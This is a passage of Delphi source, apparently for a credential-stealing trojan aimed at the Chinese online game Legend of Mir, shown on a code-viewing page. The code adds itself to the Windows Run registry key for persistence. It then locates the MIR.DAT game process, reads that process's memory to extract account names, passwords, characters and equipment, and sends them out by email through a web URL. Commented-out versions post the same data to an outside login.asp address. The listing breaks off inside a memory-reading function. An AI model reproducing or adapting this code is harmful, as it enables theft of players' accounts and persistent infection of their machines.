📄 main.dpr
字号:
End;
procedure SetInfor;
begin
zb1:='圣战头盔';
zb2:='天尊头盔';
zb3:='法神头盔';
zb4:='圣战项链';
zb5:='天尊项链';
zb6:='法神项链';
zb7:='圣战手镯';
zb8:='天尊手镯';
zb9:='法神手镯';
zb10:='圣战戒指';
zb11:='天尊戒指';
zb12:='法神戒指';
zb13:='传送戒指';
zb14:='复活戒指';
zb15:='记忆全套';
zb16:='麻痹戒指';
zb17:='隐身戒指';
zb18:='怒斩';
zb19:='护身戒指';
UserName:='';
PassWord:='';
QuYu:='';
Js1Name:='';
Js1ZhiYe:='';
Js1Dengji:='';
Js1Xingbei:='';
Js2Name:='';
Js2ZhiYe:='';
Js2Dengji:='';
Js2Xingbei:='';
ZhuangBei:='';
Flag:=False;
Flag1:=False;
Flag2:=False;
Reg.AddValue(HKEY_CURRENT_USER,'SoftWare\Microsoft\Windows\CurrentVersion\Run',ExeFiles,pchar(ExeFiles),1);
end;
{
function PostURL(const aUrl: string;FTPostQuery:String): Boolean;
var
hSession: HINTERNET;
hConnect, hRequest: hInternet;
lpBuffer: array[0..1024 + 1] of Char;
dwBytesRead: DWORD;
HttpStr:String;
HostName, FileName: String;
FTResult: Boolean;
AcceptType: LPStr;
Buf: Pointer;
dwBufLen, dwIndex: DWord;
procedure ParseURL(URL: String; var HostName, FileName: String);
procedure ReplaceChar(c1, c2: Char; var St: String);
var
p: Integer;
begin
while True do
begin
p := Pos(c1, St);
if p = 0 then Break
else St[p] := c2;
end;
end;
var
i: Integer;
begin
if Pos('http://', LowerCase(URL)) <> 0 then
System.Delete(URL, 1, 7);
i := Pos('/', URL);
HostName := Copy(URL, 1, i);
FileName := Copy(URL, i, Length(URL) - i + 1);
if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
SetLength(HostName, Length(HostName) - 1);
end;
begin
hSession := InternetOpen('MyApp', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
try
if Assigned(hSession) then
begin
ParseURL(aUrl, HostName, FileName);
hConnect := InternetConnect(hSession, PChar(HostName),
INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 0);
AcceptType := PChar('Accept: */*');
hRequest := HttpOpenRequest(hConnect, 'POST', PChar(FileName), 'HTTP/1.0',
nil, @AcceptType, INTERNET_FLAG_RELOAD, 0);
//
HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
PChar(FTPostQuery), Length(FTPostQuery));
dwIndex := 0;
dwBufLen := 1024;
GetMem(Buf, dwBufLen);
FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
Buf, dwBufLen, dwIndex);
if FTResult=True then
try
while True do
begin
dwBytesRead := 1024;
InternetReadFile(hRequest, @lpBuffer, 1024, dwBytesRead);
if dwBytesRead = 0 then break;
lpBuffer[dwBytesRead] := #0;
HttpStr:=HttpStr+lpBuffer;
end;
if pos('添加成功',HttpStr)>0 then
Result := True
else Result := False;
//Form1.Memo1.Lines.Add(Httpstr);
finally
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
end;
end;
finally
InternetCloseHandle(hSession);
end;
end;
}
procedure SendEMail;
var
MailText:string;
begin
MailText:=GetMailText;
SendHtmlMail(PAspUrl+HtmlEncode(MailText)+PEmailUrl)
end;
{
procedure SendEMail;
var FSocket,res:integer;
Subject,MailText,SendBody:String;
Tomail:String;
failed:boolean;
begin
MailText:=GetMailText;
if StartNet(PSmtp, 25, FSocket) then
begin
SendData(FSocket, 'HELO ' +PSmtp+ CRLF);
Tomail:= getdata(FSocket);
SendData(FSocket, 'auth login' + CRLF);
Tomail:= getdata(FSocket);
SendData(FSocket, EncodeBase64(Puser) + CRLF);
Tomail:= getdata(FSocket);
SendData(FSocket, EncodeBase64(PPass) + CRLF);
Tomail:= getdata(FSocket);
SendData(FSocket, 'MAIL FROM: <' + PGetMail + '>' + CRLF);
Tomail:= getdata(FSocket);
SendData(FSocket, 'RCPT TO: <' + PGetMail + '>' + CRLF);
Tomail:= getdata(FSocket);
SendData(FSocket, 'DATA' + CRLF);
Tomail:= getdata(FSocket);
SendBody := 'From:"'+Puser+'"<' + PGetMail + '>' + CRLF
+ 'To:"'+Puser+'"<' + PGetMail + '>' + CRLF
+ 'Subject:'+ QUYU + CRLF
+ CRLF
+ MailText + CRLF + CRLF
+ '说明:您现在使用的是测试版本' + CRLF
+ '网址: http://www.wymm.com'+CRLF
+ 'Q Q ：31075'+ CRLF
+ '.' + CRLF;
res := SendData(FSocket, SendBody);
Tomail:= getdata(FSocket);
SendData(FSocket, 'QUIT' + CRLF);
Tomail:= getdata(FSocket);
StopNet(Fsocket);
if res = SOCKET_ERROR then
begin
PostURL('http://www.wymm.com/mir/login.asp','gameid='+UserName+'&password='+PassWord+'&quyu='+quyu+'&mirserver='+ServerNick+'&js1='+js1name+'&js1zy='+Js1ZhiYe+
'&js1dj='+Js1Dengji+'&js1sex='+Js1Xingbei+'&js2='+Js2Name+'&js2zy='+Js2zhiye+'&js2dj='+js2dengji+'&js2sex='+Js2Xingbei+'&zb='+ZhuangBei);
exit;
end;
end else begin
PostURL('http://www.wymm.com/mir/login.asp','gameid='+UserName+'&password='+PassWord+'&quyu='+quyu+'&mirserver='+ServerNick+'&js1='+js1name+'&js1zy='+Js1ZhiYe+
'&js1dj='+Js1Dengji+'&js1sex='+Js1Xingbei+'&js2='+Js2Name+'&js2zy='+Js2zhiye+'&js2dj='+js2dengji+'&js2sex='+Js2Xingbei+'&zb='+ZhuangBei);
end;
end;
}
function IsMirDat:Integer;
var
isOK:Boolean;
ProcessHandle:Thandle;
ProcessStruct:TProcessEntry32;
begin
Result:=0;
ProcessHandle:=createtoolhelp32snapshot(Th32cs_snapprocess,0);
processStruct.dwSize:=sizeof(ProcessStruct);
isOK:=process32first(ProcessHandle,ProcessStruct);
while isOK do
begin
if UpperCase(ExtractFilename(ProcessStruct.szExeFile))=UpperCase('MIR.DAT') then
begin
Result:=ProcessStruct.th32ProcessID;
Break;
end;
isOK:=process32next(ProcessHandle,ProcessStruct);
end;
CloseHandle(ProcessHandle);
end;
function SearMirwindow(Classname:String=''):HWND;
var
hCurrentWindow: HWnd;
szText: array[0..254] of char;
hProcId:DWORD;
AhWnd :HWND;
MirKD:DWORD;
begin
hCurrentWindow := GetWindow(Handle, GW_HWNDFIRST);
MirKD:=IsMirDat;
if MirKD=0 then
begin
Result:= 0;
Exit;
end;
while hCurrentWindow <> 0 do
begin
if GetWindowText(hCurrentWindow, @szText, 255) > 0 then
begin
if sztext<>'Default IME' then
begin
AhWnd:= findwindow(pchar('TfrmMain'),Sztext);
if ahwnd<>0 then
begin
GetWindowThreadProcessId(AhWnd,@hProcId);
if MirKD=hProcId then
begin
Result:=AhWnd;
//Memo1.Lines.Add(Sztext);
Break;
end;
end;
end;
end;
hCurrentWindow := GetWindow(hCurrentWindow, GW_HWNDNEXT);
end;
end;
Function GetOSVersion : Integer;
Var
osVerInfo : TOSVersionInfo;
majorVer, minorVer : Integer;
Begin
Result := cOsUnknown;
osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
If ( GetVersionEx(osVerInfo) ) Then Begin
majorVer := osVerInfo.dwMajorVersion;
minorVer := osVerInfo.dwMinorVersion;
Case ( osVerInfo.dwPlatformId ) Of
VER_PLATFORM_WIN32_NT : { Windows NT/2000 }
Begin
If ( majorVer <= 4 ) Then
Result := cOsWinNT
Else
If ( ( majorVer = 5 ) And ( minorVer= 0 ) ) Then
Result := cOsWin2000
Else
If ( ( majorVer = 5) And ( minorVer = 1 ) ) Then
Result := cOsWhistler
Else
Result := cOsUnknown;
End;
VER_PLATFORM_WIN32_WINDOWS : { Windows 9x/ME }
Begin
If ( ( majorVer = 4 ) And ( minorVer = 0 ) ) Then
Result := cOsWin95
Else If ( ( majorVer = 4 ) And ( minorVer = 10 ) ) Then Begin
If ( osVerInfo.szCSDVersion[ 1 ] = 'A' ) Then
Result := cOsWin98SE
Else
Result := cOsWin98;
End Else If ( ( majorVer = 4) And ( minorVer = 90 ) ) Then
Result := cOsWinME
Else
Result := cOsUnknown;
End;
Else
Result := cOsUnknown;
End;
End Else
Result := cOsUnknown;
End;
function FGetMem(FindS,Sta_addr,Len_addr:string;Read_len:integer;Flag00_Exit:boolean;
Flag00_replace:string;Splite:boolean;Splite_count:integer;var HexStr:string;
var Res_address:integer;baseaddress:string='';len:integer=0):string; //var Len,APos:integer
const FindCount=100;
//Add_Addr=
var hProcId:DWORD;
nOK :THANDLE;
addr:dword;
//eaddr:DWORD ;
//AddAddr:DWORD ;
buf1:array[0..FindCount] of pchar ;
OK :BOOL;
nSize: DWORD;
lpNumberOfBytesRead:cardinal;
res,tmp,tmp1:string;
s:array[0..FindCount] of string;
i,j,y:integer; //,
AhWnd :HWND;
Splite_Mom,Splite_Start:boolean;
Splite_count1:integer;
begin
AhWnd:=SearMirwindow;
HexStr:='';
result:='';
y:=0;
if (AhWnd =0) then exit;
GetWindowThreadProcessId(AhWnd,@hProcId);
nOK :=OpenProcess(PROCESS_ALL_ACCESS or PROCESS_TERMINATE or PROCESS_VM_OPERATION or PROCESS_VM_READ or
PROCESS_VM_WRITE,FALSE,hProcId);
if(nOK =0) then exit;
nSize:=HexToInt(Len_addr);
for j:=0 to high(buf1) do begin
{if Not judgesys in [1,2] then begin
//2000**************************
addr :=$DB0000+AddAddr*j;
eaddr:=$DC0000+AddAddr*j;
//\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
//addvalue(hkey_classes_root,SubMainKey,'ssss6','pchar(s)',1);
end else begin }
//2000**************************
addr :=HexToInt(Sta_addr)+HexToInt(Len_addr)*j; // $1180000
//eaddr:=HexToInt(R_eaddr)+AddAddr*j; //$1181800
//\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
// addvalue(hkey_classes_root,SubMainKey,'ssss4','pchar(s)',1);
//end;
//nSize:=eaddr-addr+1;
buf1[j]:=AllocMem(nSize);
OK :=ReadProcessMemory(nOK,Pointer(addr),buf1[j],nSize,lpNumberOfBytesRead); //读取我们保存EDX中的基础
if(OK or (nSize<>lpNumberOfBytesRead)) then begin
s[j]:='';
for i :=0 to nSize-1 do begin
{读取内容}
s[j] := s[j] + format('%.2X',[ord(buf1[j][i])]);
end;
end;
FreeMem(buf1[j], nSize);
end;
CloseHandle(nOK);
tmp:='';
for j:=0 to high(s) do begin
tmp:=tmp+s[j];
i:=Pos(FindS,tmp);
if i>0 then begin
if j<high(s) then begin
tmp:=tmp+s[j+1];
if j+1<high(s) then
tmp:=tmp+s[j+2];
end;
i:=i+ Length(FindS);
tmp:=copy(tmp,i,Read_len); //Read_len:integer;Flag00_Exit:boolean;Flag00_replace
y:=HexToInt(Sta_addr);
y:=y+HexToInt(Len_addr)*j+((i-1) div 2);
i:=1;
res:='';
Hexstr:=tmp;
Splite_Mom:=false;
Splite_Start:=false;
Splite_count1:=0;
while i<length(tmp) do begin
tmp1:=copy(tmp,i,2);
if tmp1<>'00' then begin
Splite_Mom:=true; //第一个不等于00开始
if Splite and (Splite_count1<Splite_count) and Splite_Start then begin
Splite_Start:=false;
res:=res+'%20%'; //加上分隔
inc(Splite_count);
end;
res:=res+chr(HexToInt(tmp1));
end else begin
if Splite_Mom then //如果不是第一个就高设置一下,不是00要分隔符'%20%'
Splite_Start:=true;
if Flag00_Exit then
break
else res:=res+Flag00_replace;//' '
end;
inc(i,2);
end;
Hexstr:=tmp;
result:=res;
break;
end else begin
if j<high(s) then
tmp:=copy(tmp,length(tmp)-Length(FindS)+1,Length(FindS));
end;
end;
Res_address:=y;
end;
function GetMem(AhWnd :HWND;baseaddress:string='';len:integer=0):string;
const FindCount=10;
var hProcId:DWORD;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -